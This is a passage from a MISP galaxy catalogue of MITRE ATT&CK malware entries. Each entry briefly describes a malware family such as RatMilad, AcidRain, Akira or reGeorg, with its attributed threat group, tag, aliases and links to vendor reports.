
Table 11647. Table References

Links
https://attack.mitre.org/software/S1142
https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/

RatMilad - S1241

[RatMilad](https://attack.mitre.org/software/S1241) is an Android remote access tool (RAT) with spyware functionality that has been used to target enterprise mobile devices in the Middle East since at least 2021. Variants of [RatMilad](https://attack.mitre.org/software/S1241) have been disguised as VPN applications and a fake app named NumRent. Upon installation, [RatMilad](https://attack.mitre.org/software/S1241) employs multiple [Collection](https://attack.mitre.org/tactics/TA0035) techniques to collect sensitive information before uploading the collected data to its command and control (C2) server. (Citation: ZimperiumGupta_RatMilad_Oct2022)

The tag is: *misp-galaxy:mitre-malware="RatMilad - S1241"*

RatMilad - S1241 is also known as:

- RatMilad

Table 11648. Table References

Links
https://attack.mitre.org/software/S1241
https://zimperium.com/blog/we-smell-a-ratmilad-mobile-spyware

IMAPLoader - S1152

[IMAPLoader](https://attack.mitre.org/software/S1152) is a .NET-based loader malware exclusively associated with [CURIUM](https://attack.mitre.org/groups/G1012) operations since at least 2022. [IMAPLoader](https://attack.mitre.org/software/S1152) leverages email protocols for command and control and payload delivery.(Citation: PWC Yellow Liderc 2023)

The tag is: *misp-galaxy:mitre-malware="IMAPLoader - S1152"*

IMAPLoader - S1152 is also known as:

- IMAPLoader

Table 11649. Table References

Links
https://attack.mitre.org/software/S1152
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html

AcidRain - S1125

[AcidRain](https://attack.mitre.org/software/S1125) is an ELF binary targeting modems and routers using MIPS architecture.(Citation: AcidRain JAGS 2022) [AcidRain](https://attack.mitre.org/software/S1125) is associated with the ViaSat KA-SAT communication outage that took place during the initial phases of the 2022 full-scale invasion of Ukraine. Analysis indicates overlap with another network device-targeting malware, VPNFilter, associated with [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: AcidRain JAGS 2022) US and European government sources linked [AcidRain](https://attack.mitre.org/software/S1125) to Russian government entities, while Ukrainian government sources linked [AcidRain](https://attack.mitre.org/software/S1125) specifically to [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: AcidRain State Department 2022)(Citation: Vincens AcidPour 2024)

The tag is: *misp-galaxy:mitre-malware="AcidRain - S1125"*

AcidRain - S1125 is also known as:

- AcidRain

Table 11650. Table References

Links
https://attack.mitre.org/software/S1125
https://cyberscoop.com/viasat-malware-wiper-acidrain/
https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/
https://www.state.gov/attribution-of-russias-malicious-cyber-activity-against-ukraine/

TriangleDB - S1216

[TriangleDB](https://attack.mitre.org/software/S1216) is an Objective-C written implant deployed after [Binary Validator](https://attack.mitre.org/software/S1215) and after root privileges are obtained during [Operation Triangulation](https://attack.mitre.org/campaigns/C0054)'s infection chain. Upon execution, [TriangleDB](https://attack.mitre.org/software/S1216) communicates with the C2 server, relaying information about the victim device.(Citation: SecureList OpTriangulation 21Jun2023)

The tag is: *misp-galaxy:mitre-malware="TriangleDB - S1216"*

TriangleDB - S1216 is also known as:

- TriangleDB

Table 11651. Table References

Links
https://attack.mitre.org/software/S1216
https://securelist.com/triangledb-triangulation-implant/110050/

Playcrypt - S1162

[Playcrypt](https://attack.mitre.org/software/S1162) is a ransomware that has been used by [Play](https://attack.mitre.org/groups/G1040) since at least 2022 in attacks against against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. [Playcrypt](https://attack.mitre.org/software/S1162) derives its name from adding the .play extension to encrypted files and has overlap with tactics and tools associated with Hive and Nokoyawa ransomware and infrastructure associated with Quantum ransomware.(Citation: Microsoft PlayCrypt August 2022)(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)

The tag is: *misp-galaxy:mitre-malware="Playcrypt - S1162"*

Playcrypt - S1162 is also known as:

- Playcrypt
- Play

Table 11652. Table References

Links
https://attack.mitre.org/software/S1162
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/PlayCrypt.PA&ThreatID=2147830341
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play

Phenakite - S1126

[Phenakite](https://attack.mitre.org/software/S1126) is a mobile malware that is used by [APT-C-23](https://attack.mitre.org/groups/G1028) to target iOS devices. According to several reports, [Phenakite](https://attack.mitre.org/software/S1126) was developed to fill a tooling gap and to target those who owned iPhones instead of Windows desktops or Android phones.(Citation: sentinelone_israel_hamas_war)(Citation: fb_arid_viper)

The tag is: *misp-galaxy:mitre-malware="Phenakite - S1126"*

Phenakite - S1126 is also known as:

- Phenakite

Table 11653. Table References

Links
https://attack.mitre.org/software/S1126
https://web.archive.org/web/20231126111812/https:/about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf
https://web.archive.org/web/20240208234008/www.sentinelone.com/labs/the-israel-hamas-war-cyber-domain-state-sponsored-activity-of-interest/

VIRTUALPITA - S1217

[VIRTUALPITA](https://attack.mitre.org/software/S1217) is a passive backdoor with ESXi and Linux vCenter variants capable of command execution, file transfer, and starting and stopping processes. [VIRTUALPITA](https://attack.mitre.org/software/S1217) has been in use since at least 2022 including by [UNC3886](https://attack.mitre.org/groups/G1048) who leveraged malicious vSphere Installation Bundles (VIBs) for install on ESXi hypervisors.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)

The tag is: *misp-galaxy:mitre-malware="VIRTUALPITA - S1217"*

VIRTUALPITA - S1217 is also known as:

- VIRTUALPITA

Table 11654. Table References

Links
https://attack.mitre.org/software/S1217
https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence

OilBooster - S1172

[OilBooster](https://attack.mitre.org/software/S1172) is a downloader written in Microsoft Visual C/C++ that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2022 including against target organizations in Israel to download and execute files and for exfiltration.(Citation: ESET OilRig Downloaders DEC 2023)

The tag is: *misp-galaxy:mitre-malware="OilBooster - S1172"*

OilBooster - S1172 is also known as:

- OilBooster

Table 11655. Table References

Links
https://attack.mitre.org/software/S1172
https://www.welivesecurity.com/en/eset-research/oilrig-persistent-attacks-cloud-service-powered-downloaders/

VIRTUALPIE - S1218

[VIRTUALPIE](https://attack.mitre.org/software/S1218) is a lightweight backdoor written in Python that spawns an IPv6 listener on a VMware ESXi server and features command line execution, file transfer, and reverse shell capabilities. [VIRTUALPIE](https://attack.mitre.org/software/S1218) has been in use since at least 2022 including by [UNC3886](https://attack.mitre.org/groups/G1048) who installed it via malicious vSphere Installation Bundles (VIBs).(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)

The tag is: *misp-galaxy:mitre-malware="VIRTUALPIE - S1218"*

VIRTUALPIE - S1218 is also known as:

- VIRTUALPIE

Table 11656. Table References

Links
https://attack.mitre.org/software/S1218
https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence

HilalRAT - S1128

[HilalRAT](https://attack.mitre.org/software/S1128) is a remote access-capable Android malware, developed and used by [UNC788](https://attack.mitre.org/groups/G1029).(Citation: Meta Adversarial Threat Report 2022) [HilalRAT](https://attack.mitre.org/software/S1128) is capable of collecting data, such as device location, call logs, etc., and is capable of executing actions, such as activating a device's camera and microphone.(Citation: Meta Adversarial Threat Report 2022)

The tag is: *misp-galaxy:mitre-malware="HilalRAT - S1128"*

HilalRAT - S1128 is also known as:

- HilalRAT

Table 11657. Table References

Links
https://about.fb.com/wp-content/uploads/2022/04/Meta-Quarterly-Adversarial-Threat-Report_Q1-2022.pdf
https://attack.mitre.org/software/S1128

MagicRAT - S1182

[MagicRAT](https://attack.mitre.org/software/S1182) is a remote access tool developed in C++ and exclusively used by the [Lazarus Group](https://attack.mitre.org/groups/G0032) threat actor in operations. [MagicRAT](https://attack.mitre.org/software/S1182) allows for arbitrary command execution on victim machines and provides basic remote access functionality.(Citation: Cisco MagicRAT 2022)

The tag is: *misp-galaxy:mitre-malware="MagicRAT - S1182"*

MagicRAT - S1182 is also known as:

- MagicRAT

Table 11658. Table References

Links
https://attack.mitre.org/software/S1182
https://blog.talosintelligence.com/lazarus-magicrat/

Akira - S1129

[Akira](https://attack.mitre.org/software/S1129) ransomware, written in C++, is most prominently (but not exclusively) associated with the ransomware-as-a-service entity [Akira](https://attack.mitre.org/groups/G1024). [Akira](https://attack.mitre.org/software/S1129) ransomware has been used in attacks across North America, Europe, and Australia, with a focus on critical infrastructure sectors including manufacturing, education, and IT services.

[Akira](https://attack.mitre.org/software/S1129) ransomware employs hybrid encryption and threading to increase the speed and efficiency of encryption and runtime arguments for tailored attacks. Notable variants include Rust-based [Megazord](https://attack.mitre.org/software/S1191) for targeting Windows and [Akira _v2](https://attack.mitre.org/software/S1194) for targeting VMware ESXi servers.(Citation: Kersten Akira 2023)(Citation: CISA Akira Ransomware APR 2024)(Citation: Cisco Akira Ransomware OCT 2024)

The tag is: *misp-galaxy:mitre-malware="Akira - S1129"*

Akira - S1129 is also known as:

- Akira

Table 11659. Table References

Links
https://attack.mitre.org/software/S1129
https://blog.talosintelligence.com/akira-ransomware-continues-to-evolve/
https://www.cisa.gov/sites/default/files/2024-04/aa24-109a-stopransomware-akira-ransomware_2.pdf
https://www.trellix.com/blogs/research/akira-ransomware/

NICECURL - S1192

[NICECURL](https://attack.mitre.org/software/S1192) is a VBScript-based backdoor used by [APT42](https://attack.mitre.org/groups/G1044) to download additional modules.(Citation: Mandiant APT42-untangling)

The tag is: *misp-galaxy:mitre-malware="NICECURL - S1192"*

NICECURL - S1192 is also known as:

- NICECURL

Table 11660. Table References

Links
https://attack.mitre.org/software/S1192
https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations

REPTILE - S1219

[REPTILE](https://attack.mitre.org/software/S1219) is an open-source Linux rootkit with multiple components that provides backdoor access and functionality.(Citation: Google Cloud Mandiant UNC3886 2024)

The tag is: *misp-galaxy:mitre-malware="REPTILE - S1219"*

REPTILE - S1219 is also known as:

- REPTILE

Table 11661. Table References

Links
https://attack.mitre.org/software/S1219
https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations

Apostle - S1133

[Apostle](https://attack.mitre.org/software/S1133) is malware that has functioned as both a wiper and, in more recent versions, as ransomware. [Apostle](https://attack.mitre.org/software/S1133) is written in .NET and shares various programming and functional overlaps with [IPsec Helper](https://attack.mitre.org/software/S1132).(Citation: SentinelOne Agrius 2021)

The tag is: *misp-galaxy:mitre-malware="Apostle - S1133"*

Apostle - S1133 is also known as:

- Apostle

Table 11662. Table References

Links
https://assets.sentinelone.com/sentinellabs/evol-agrius
https://attack.mitre.org/software/S1133

DEADWOOD - S1134

[DEADWOOD](https://attack.mitre.org/software/S1134) is wiper malware written in C++ using Boost libraries. [DEADWOOD](https://attack.mitre.org/software/S1134) was first observed in an unattributed wiping event in Saudi Arabia in 2019, and has since been incorporated into [Agrius](https://attack.mitre.org/groups/G1030) operations.(Citation: SentinelOne Agrius 2021)

The tag is: *misp-galaxy:mitre-malware="DEADWOOD - S1134"*

DEADWOOD - S1134 is also known as:

- DEADWOOD

Table 11663. Table References

Links
https://assets.sentinelone.com/sentinellabs/evol-agrius
https://attack.mitre.org/software/S1134

LunarLoader - S1143

[LunarLoader](https://attack.mitre.org/software/S1143) is the loader component for the [LunarWeb](https://attack.mitre.org/software/S1141) and [LunarMail](https://attack.mitre.org/software/S1142) backdoors that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including against a European ministry of foreign affairs (MFA). [LunarLoader](https://attack.mitre.org/software/S1143) has been observed as a standalone and as a part of trojanized open-source software such as AdmPwd.(Citation: ESET Turla Lunar toolset May 2024)

The tag is: *misp-galaxy:mitre-malware="LunarLoader - S1143"*

LunarLoader - S1143 is also known as:

- LunarLoader

Table 11664. Table References

Links
https://attack.mitre.org/software/S1143
https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/

SnappyTCP - S1163

[SnappyTCP](https://attack.mitre.org/software/S1163) is a web shell used by [Sea Turtle](https://attack.mitre.org/groups/G1041) between 2021 and 2023 against multiple victims. [SnappyTCP](https://attack.mitre.org/software/S1163) appears to be based on a public GitHub project that has since been removed from the code-sharing site. [SnappyTCP](https://attack.mitre.org/software/S1163) includes a simple reverse TCP shell for Linux and Unix environments with basic command and control capabilities.(Citation: PWC Sea Turtle 2023)

The tag is: *misp-galaxy:mitre-malware="SnappyTCP - S1163"*

SnappyTCP - S1163 is also known as:

- SnappyTCP

Table 11665. Table References

Links
https://attack.mitre.org/software/S1163
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/tortoise-and-malwahare.html

PowerExchange - S1173

[PowerExchange](https://attack.mitre.org/software/S1173) is a PowerShell backdoor that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2023 including against government targets in the Middle East.(Citation: Symantec Crambus OCT 2023)

The tag is: *misp-galaxy:mitre-malware="PowerExchange - S1173"*

PowerExchange - S1173 is also known as:

- PowerExchange

Table 11666. Table References

Links
https://attack.mitre.org/software/S1173
https://www.security.com/threat-intelligence/crambus-middle-east-government

Moneybird - S1137

[Moneybird](https://attack.mitre.org/software/S1137) is a ransomware variant written in C++ associated with [Agrius](https://attack.mitre.org/groups/G1030) operations. The name "Moneybird" is contained in the malware's ransom note and as strings in the executable.(Citation: CheckPoint Agrius 2023)

The tag is: *misp-galaxy:mitre-malware="Moneybird - S1137"*

Moneybird - S1137 is also known as:

- Moneybird

Table 11667. Table References

Links
https://attack.mitre.org/software/S1137
https://research.checkpoint.com/2023/agrius-deploys-moneybird-in-targeted-attacks-against-israeli-organizations/

Gootloader - S1138

[Gootloader](https://attack.mitre.org/software/S1138) is a Javascript-based infection framework that has been used since at least 2020 as a delivery method for the Gootkit banking trojan, [Cobalt Strike](https://attack.mitre.org/software/S0154), [REvil](https://attack.mitre.org/software/S0496), and others. [Gootloader](https://attack.mitre.org/software/S1138) operates on an "Initial Access as a Service" model and has leveraged [SEO Poisoning](https://attack.mitre.org/techniques/T1608/006) to provide access to entities in multiple sectors worldwide including financial, military, automotive, pharmaceutical, and energy.(Citation: Sophos Gootloader)(Citation: SentinelOne Gootloader June 2021)

The tag is: *misp-galaxy:mitre-malware="Gootloader - S1138"*

Gootloader - S1138 is also known as:

- Gootloader

Table 11668. Table References

Links
https://attack.mitre.org/software/S1138
https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/
https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/

StrelaStealer - S1183

[StrelaStealer](https://attack.mitre.org/software/S1183) is an information stealer malware variant first identified in November 2022 and active through late 2024. [StrelaStealer](https://attack.mitre.org/software/S1183) focuses on the automated identification, collection, and exfiltration of email credentials from email clients such as Outlook and Thunderbird.(Citation: DCSO StrelaStealer 2022)(Citation: PaloAlto StrelaStealer 2024)(Citation: Fortgale StrelaStealer 2023)(Citation: IBM StrelaStealer 2024)

The tag is: *misp-galaxy:mitre-malware="StrelaStealer - S1183"*

StrelaStealer - S1183 is also known as:

- StrelaStealer

Table 11669. Table References

Links
https://attack.mitre.org/software/S1183
https://fortgale.com/blog/malware-analysis/strelastealer-malware-analysis-2/
https://medium.com/@DCSO_CyTec/shortandmalicious-strelastealer-aims-for-mail-credentials-a4c3e78c8abc
https://securityintelligence.com/x-force/strela-stealer-todays-invoice-tomorrows-phish/
https://unit42.paloaltonetworks.com/strelastealer-campaign/

TAMECAT - S1193

[TAMECAT](https://attack.mitre.org/software/S1193) is a malware that is used by [APT42](https://attack.mitre.org/groups/G1044) to execute PowerShell or C# content.(Citation: Mandiant APT42-untangling)

The tag is: *misp-galaxy:mitre-malware="TAMECAT - S1193"*

TAMECAT - S1193 is also known as:

- TAMECAT

Table 11670. Table References

Links
https://attack.mitre.org/software/S1193
https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations

VersaMem - S1154

[VersaMem](https://attack.mitre.org/software/S1154) is a web shell designed for deployment to Versa Director servers following exploitation. Discovered in August 2024, [VersaMem](https://attack.mitre.org/software/S1154) was used during [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) by [Volt Typhoon](https://attack.mitre.org/groups/G1017) to target ISPs and MSPs. [VersaMem](https://attack.mitre.org/software/S1154) is deployed as a Java Archive (JAR) and allows for credential capture for Versa Director logon activity as well as follow-on execution of arbitrary Java payloads.(Citation: Lumen Versa 2024)

The tag is: *misp-galaxy:mitre-malware="VersaMem - S1154"*

VersaMem - S1154 is also known as:

- VersaMem

Table 11671. Table References

Links
https://attack.mitre.org/software/S1154
https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/

Pikabot - S1145

[Pikabot](https://attack.mitre.org/software/S1145) is a backdoor used for initial access and follow-on tool deployment active since early 2023. [Pikabot](https://attack.mitre.org/software/S1145) is notable for extensive use of multiple encoding, encryption, and defense evasion mechanisms to evade defenses and avoid analysis. [Pikabot](https://attack.mitre.org/software/S1145) has some overlaps with [QakBot](https://attack.mitre.org/software/S0650), but insufficient evidence exists to definitively link these two malware families. [Pikabot](https://attack.mitre.org/software/S1145) is frequently used to deploy follow on tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154) or ransomware variants.(Citation: Zscaler Pikabot 2023)(Citation: Elastic Pikabot 2024)(Citation: Logpoint Pikabot 2024)

The tag is: *misp-galaxy:mitre-malware="Pikabot - S1145"*

Pikabot - S1145 is also known as:

- Pikabot

Table 11672. Table References

Links
https://attack.mitre.org/software/S1145
https://www.elastic.co/security-labs/pikabot-i-choose-you
https://www.logpoint.com/wp-content/uploads/2024/02/logpoint-etpr-pikabot.pdf
https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot

MgBot - S1146

[MgBot](https://attack.mitre.org/software/S1146) is a modular malware framework exclusively associated with [Daggerfly](https://attack.mitre.org/groups/G1034) operations since at least 2012. [MgBot](https://attack.mitre.org/software/S1146) was developed in C++ and features a module design with multiple available plugins that have been under active development through 2024.(Citation: Szappanos MgBot 2014)(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2024)

The tag is: *misp-galaxy:mitre-malware="MgBot - S1146"*

MgBot - S1146 is also known as:

- MgBot

Table 11673. Table References

Links
https://attack.mitre.org/software/S1146
https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset
https://www.virusbulletin.com/virusbulletin/2014/02/needle-haystack
https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/

UPSTYLE - S1164

[UPSTYLE](https://attack.mitre.org/software/S1164) is a Python-based backdoor associated with exploitation of Palo Alto firewalls using CVE-2024-3400 in early 2024. [UPSTYLE](https://attack.mitre.org/software/S1164) has only been observed in relation to this exploitation activity, which involved attempted install on compromised devices by the threat actor UTA0218.(Citation: Volexity UPSTYLE 2024)(Citation: Palo Alto MidnightEclipse APR 2024)

The tag is: *misp-galaxy:mitre-malware="UPSTYLE - S1164"*

UPSTYLE - S1164 is also known as:

- UPSTYLE

Table 11674. Table References

Links
https://attack.mitre.org/software/S1164
https://unit42.paloaltonetworks.com/cve-2024-3400/
https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

Nightdoor - S1147

[Nightdoor](https://attack.mitre.org/software/S1147) is a backdoor exclusively associated with [Daggerfly](https://attack.mitre.org/groups/G1034) operations. [Nightdoor](https://attack.mitre.org/software/S1147) uses common libraries with [MgBot](https://attack.mitre.org/software/S1146) and [MacMa](https://attack.mitre.org/software/S1016), linking these malware families together.(Citation: ESET EvasivePanda 2024)(Citation: Symantec Daggerfly 2024)

The tag is: *misp-galaxy:mitre-malware="Nightdoor - S1147"*

Nightdoor - S1147 is also known as:

- Nightdoor

Table 11675. Table References

Links
https://attack.mitre.org/software/S1147
https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset
https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/

BOLDMOVE - S1184

[BOLDMOVE](https://attack.mitre.org/software/S1184) is a type of backdoor malware written in C linked to People's Republic of China operations from 2022 through 2023. [BOLDMOVE](https://attack.mitre.org/software/S1184) includes both Windows and Linux variants, with some Linux variants specifically designed for FortiGate Firewall devices. [BOLDMOVE](https://attack.mitre.org/software/S1184) is linked to zero-day exploitation of CVE-2022-42475 in FortiOSS SSL-VPNs.(Citation: Google Cloud BOLDMOVE 2023) The record for [BOLDMOVE](https://attack.mitre.org/software/S1184) only covers known Linux variants.

The tag is: *misp-galaxy:mitre-malware="BOLDMOVE - S1184"*

BOLDMOVE - S1184 is also known as:

- BOLDMOVE

Table 11676. Table References

Links
https://attack.mitre.org/software/S1184
https://cloud.google.com/blog/topics/threat-intelligence/chinese-actors-exploit-fortios-flaw/

CHIMNEYSWEEP - S1149

[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) is a backdoor malware that was deployed during [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) along with [ROADSWEEP](https://attack.mitre.org/software/S1150) ransomware, and has been used to target Farsi and Arabic speakers since at least 2012.(Citation: Mandiant ROADSWEEP August 2022)

The tag is: *misp-galaxy:mitre-malware="CHIMNEYSWEEP - S1149"*

CHIMNEYSWEEP - S1149 is also known as:

- CHIMNEYSWEEP

Table 11677. Table References

Links
https://attack.mitre.org/software/S1149
https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/

Manjusaka - S1156

[Manjusaka](https://attack.mitre.org/software/S1156) is a Chinese-language intrusion framework, similar to [Sliver](https://attack.mitre.org/software/S0633) and [Cobalt Strike](https://attack.mitre.org/software/S0154), with an ELF binary written in GoLang as the controller for Windows and Linux implants written in Rust. First identified in 2022, [Manjusaka](https://attack.mitre.org/software/S1156) consists of multiple components, only one of which (a command and control module) is freely available.(Citation: Talos Manjusaka 2022)

The tag is: *misp-galaxy:mitre-malware="Manjusaka - S1156"*

Manjusaka - S1156 is also known as:

- Manjusaka

Table 11678. Table References

Links
https://attack.mitre.org/software/S1156
https://blog.talosintelligence.com/manjusaka-offensive-framework/

DUSTPAN - S1158

[DUSTPAN](https://attack.mitre.org/software/S1158) is an in-memory dropper written in C/C++ used by [APT41](https://attack.mitre.org/groups/G0096) since 2021 that decrypts and executes an embedded payload.(Citation: Google Cloud APT41 2024)(Citation: Google Cloud APT41 2022)

The tag is: *misp-galaxy:mitre-malware="DUSTPAN - S1158"*

DUSTPAN - S1158 is also known as:

- DUSTPAN

Table 11679. Table References

Links
https://attack.mitre.org/software/S1158
https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust
https://cloud.google.com/blog/topics/threat-intelligence/apt41-us-state-governments

LightSpy - S1185

First observed in 2018, LightSpy is a modular malware family that initially targeted iOS devices in Southern Asia before expanding to Android and macOS platforms. It consists of a downloader, a main executable that manages network communications, and functionality-specific modules, typically implemented as `.dylib` files (iOS, macOS) or `.apk` files (Android). LightSpy can collect VoIP call recordings, SMS messages, and credential stores, which are then exfiltrated to a command and control (C2) server.(Citation: MelikovBlackBerry LightSpy 2024)

The tag is: *misp-galaxy:mitre-malware="LightSpy - S1185"*

LightSpy - S1185 is also known as:

- LightSpy

Table 11680. Table References

Links
https://attack.mitre.org/software/S1185
https://blogs.blackberry.com/en/2024/04/lightspy-returns-renewed-espionage-campaign-targets-southern-asia-possibly-india

DUSTTRAP - S1159

[DUSTTRAP](https://attack.mitre.org/software/S1159) is a multi-stage plugin framework associated with [APT41](https://attack.mitre.org/groups/G0096) operations with multiple components.(Citation: Google Cloud APT41 2024)

The tag is: *misp-galaxy:mitre-malware="DUSTTRAP - S1159"*

DUSTTRAP - S1159 is also known as:

- DUSTTRAP

Table 11681. Table References

Links
https://attack.mitre.org/software/S1159
https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust

Solar - S1166

[Solar](https://attack.mitre.org/software/S1166) is a C#/.NET backdoor that was used by [OilRig](https://attack.mitre.org/groups/G0049) during the [Outer Space](https://attack.mitre.org/campaigns/C0042) campaign to download, execute, and exfiltrate files.(Citation: ESET OilRig Campaigns Sep 2023)

The tag is: *misp-galaxy:mitre-malware="Solar - S1166"*

Solar - S1166 is also known as:

- Solar

Table 11682. Table References

Links
https://attack.mitre.org/software/S1166
https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/

AcidPour - S1167

[AcidPour](https://attack.mitre.org/software/S1167) is a variant of [AcidRain](https://attack.mitre.org/software/S1125) designed to impact a wider range of x86 architecture Linux devices. [AcidPour](https://attack.mitre.org/software/S1167) is an x86 ELF binary that expands on the targeted devices and locations in [AcidRain](https://attack.mitre.org/software/S1125) by including items such as Unsorted Block Image (UBI), Deice Mapper (DM), and various flash memory references. Based on this expanded targeting, [AcidPour](https://attack.mitre.org/software/S1167) can impact a variety of device types including IoT, networking, and ICS embedded device types.(Citation: SentinelOne AcidPour 2024) [AcidPour](https://attack.mitre.org/software/S1167) is a wiping payload associated with the [Sandworm Team](https://attack.mitre.org/groups/G0034) threat actor, and potentially linked to attacks against Ukrainian internet service providers (ISPs) in 2023.(Citation: CERT-UA TelecomAttack 2023)

The tag is: *misp-galaxy:mitre-malware="AcidPour - S1167"*

AcidPour - S1167 is also known as:

- AcidPour

Table 11683. Table References

Links
https://attack.mitre.org/software/S1167
https://cert.gov.ua/article/6123309
https://www.sentinelone.com/labs/acidpour-new-embedded-wiper-variant-of-acidrain-appears-in-ukraine/

Mango - S1169

[Mango](https://attack.mitre.org/software/S1169) is a first-stage backdoor written in C#/.NET that was used by [OilRig](https://attack.mitre.org/groups/G0049) during the [Juicy Mix](https://attack.mitre.org/campaigns/C0044) campaign. [Mango](https://attack.mitre.org/software/S1169) is the successor to [Solar](https://attack.mitre.org/software/S1166) and includes additional exfiltration capabilities, the use of native APIs, and added detection evasion code.(Citation: ESET OilRig Campaigns Sep 2023)

The tag is: *misp-galaxy:mitre-malware="Mango - S1169"*

Mango - S1169 is also known as:

- Mango

Table 11684. Table References

Links
https://attack.mitre.org/software/S1169
https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/

reGeorg - S1187

[reGeorg](https://attack.mitre.org/software/S1187) is an open-source web shell written in Python that can be used as a proxy to bypass firewall rules and tunnel data in and out of targeted networks.(Citation: Fortinet reGeorg MAR 2019)(Citation: GitHub reGeorg 2016)

The tag is: *misp-galaxy:mitre-malware="reGeorg - S1187"*

reGeorg - S1187 is also known as:

- reGeorg

Table 11685. Table References

Links
https://attack.mitre.org/software/S1187

https://github.com/xl7dev/WebShell/tree/master/reGeorg-master
https://www.fortiguard.com/encyclopedia/ips/47584/regeorg-http-tunnel

ShrinkLocker - S1178

[ShrinkLocker](https://attack.mitre.org/software/S1178) is a VBS-based malicious script that leverages the legitimate Bitlocker application to encrypt files on victim systems for ransom. [ShrinkLocker](https://attack.mitre.org/software/S1178) functions by using Bitlocker to encrypt files, then renames impacted drives to the adversary's contact email address to facilitate communication for the ransom payment.(Citation: Kaspersky ShrinkLocker 2024)(Citation: Splunk ShrinkLocker 2024)

The tag is: *misp-galaxy:mitre-malware="ShrinkLocker - S1178"*

ShrinkLocker - S1178 is also known as:

- ShrinkLocker

Table 11686. Table References

Links
https://attack.mitre.org/software/S1178
https://securelist.com/ransomware-abuses-bitlocker/112643/
https://www.splunk.com/en_us/blog/security/shrinklocker-malware-abusing-bitlocker-to-lock-your-data.html

GoBear - S1197

[GoBear](https://attack.mitre.org/software/S1197) is a Go-based backdoor that abuses legitimate, stolen certificates for defense evasion purposes. [GoBear](https://attack.mitre.org/software/S1197) is exclusively linked to [Kimsuky](https://attack.mitre.org/groups/G0094) operations.(Citation: S2W Troll Stealer 2024)(Citation: Symantec Troll Stealer 2024)

The tag is: *misp-galaxy:mitre-malware="GoBear - S1197"*

GoBear - S1197 is also known as:

- GoBear

Table 11687. Table References

Links
https://attack.mitre.org/software/S1197
https://medium.com/s2wblog/kimsuky-disguised-as-a-korean-company-signed-with-a-valid-certificate-to-distribute-troll-stealer-cfa5d54314e2
https://www.security.com/threat-intelligence/springtail-kimsuky-backdoor-espionage

Exbyte - S1179

[Exbyte](https://attack.mitre.org/software/S1179) is an exfiltration tool written in Go that is uniquely associated with [BlackByte](https://attack.mitre.org/groups/G1043) operations. Observed since 2022, [Exbyte](https://attack.mitre.org/software/S1179) transfers collected files to online file sharing and hosting services.(Citation: Symantec BlackByte 2022)

The tag is: *misp-galaxy:mitre-malware="Exbyte - S1179"*

Exbyte - S1179 is also known as:

- Exbyte

Table 11688. Table References

Links
https://attack.mitre.org/software/S1179
https://www.security.com/threat-intelligence/blackbyte-exbyte-ransomware

Gomir - S1198

Gomir is a Linux backdoor variant of the Go-based malware [GoBear](https://attack.mitre.org/software/S1197), uniquely assoicated with [Kimsuky](https://attack.mitre.org/groups/G0094) operations.(Citation: Symantec Troll Stealer 2024)

The tag is: *misp-galaxy:mitre-malware="Gomir - S1198"*

Gomir - S1198 is also known as:

- Gomir

Table 11689. Table References

Links
https://attack.mitre.org/software/S1198
https://www.security.com/threat-intelligence/springtail-kimsuky-backdoor-espionage

RIFLESPINE - S1222

[RIFLESPINE](https://attack.mitre.org/software/S1222) is a cross-platform backdoor that leverages Google Drive for file transfer and command execution.(Citation: Google Cloud Mandiant UNC3886 2024)

The tag is: *misp-galaxy:mitre-malware="RIFLESPINE - S1222"*

RIFLESPINE - S1222 is also known as:

